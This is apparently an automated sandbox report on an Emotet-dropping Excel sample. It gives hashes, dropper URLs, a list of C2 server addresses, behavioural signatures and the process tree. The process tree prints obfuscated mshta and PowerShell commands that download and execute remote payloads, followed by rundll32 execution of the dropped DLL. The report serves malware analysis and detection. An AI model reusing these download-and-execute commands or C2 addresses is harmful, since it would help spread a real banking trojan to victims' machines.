Analysis

  • max time kernel
    134s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    20/01/2022, 18:39

General

  • Target
    477881ed20ef976c6dd8bef21a6cbb67.xls
  • Size 142KB
  • Sample220120-xalpmsbbam
  • SHA256 3d702c221263341fa14edf51b4d239cc665e2db56c4d1a7c5dbaa80065f182ec
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fer.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fer.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\477881ed20ef976c6dd8bef21a6cbb67.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2936
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3728
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2496
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2912
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:636
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:3032
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1320
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ivuhaurjzprda\xyam.gup",yHjCBtmzYBPz
                    8⤵
                    • Loads dropped DLL
                    • Suspicious use of WriteProcessMemory
                    PID:1348
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ivuhaurjzprda\xyam.gup",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2568
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 2496 -s 1728
            4⤵
            • Program crash
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:216
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
      1⤵
        PID:3128
      • C:\Windows\System32\WaaSMedicAgent.exe
        C:\Windows\System32\WaaSMedicAgent.exe 638e120fb667a6bfc9a92e8744cd776b YQrEdCFXz06ODjFLt2s8rg.0.1.0.0.0
        1⤵
        • Modifies data under HKEY_USERS
        PID:3260
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k PrintWorkflow
        1⤵
          PID:3332
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -pss -s 408 -p 2496 -ip 2496
          1⤵
          • Suspicious use of NtCreateProcessExOtherParentProcess
          • Suspicious use of WriteProcessMemory
          PID:3188
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k wusvcs -p
          1⤵
            PID:3256

          Network

                MITRE ATT&CK Enterprise v6

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                Downloads

                memory/1320-198-0x0000000005390000-0x00000000053B6000-memory.dmp

                memory/1320-186-0x0000000004750000-0x0000000004776000-memory.dmp

                memory/1320-195-0x0000000005110000-0x0000000005136000-memory.dmp

                memory/1320-193-0x00000000050B0000-0x00000000050D6000-memory.dmp

                memory/1320-191-0x0000000004F20000-0x0000000004F46000-memory.dmp

                memory/1348-200-0x00000000048E0000-0x0000000004906000-memory.dmp

                memory/2568-203-0x0000000002FB0000-0x0000000002FD6000-memory.dmp

                memory/2568-205-0x00000000030D0000-0x00000000030F6000-memory.dmp

                memory/2912-165-0x000001A272E43000-0x000001A272E45000-memory.dmp

                memory/2912-164-0x000001A272E40000-0x000001A272E42000-memory.dmp

                memory/2912-170-0x000001A272E46000-0x000001A272E48000-memory.dmp

                memory/2912-188-0x000001A273400000-0x000001A273476000-memory.dmp

                memory/2912-169-0x000001A273330000-0x000001A273374000-memory.dmp

                memory/2912-166-0x000001A272E00000-0x000001A272E22000-memory.dmp

                memory/3484-132-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

                memory/3484-137-0x00007FF7FF550000-0x00007FF7FF560000-memory.dmp

                memory/3484-130-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

                memory/3484-133-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

                memory/3484-131-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

                memory/3484-138-0x00007FF7FF550000-0x00007FF7FF560000-memory.dmp

                memory/3484-134-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

                memory/3484-237-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

                memory/3484-239-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

                memory/3484-238-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp

                memory/3484-240-0x00007FF8016B0000-0x00007FF8016C0000-memory.dmp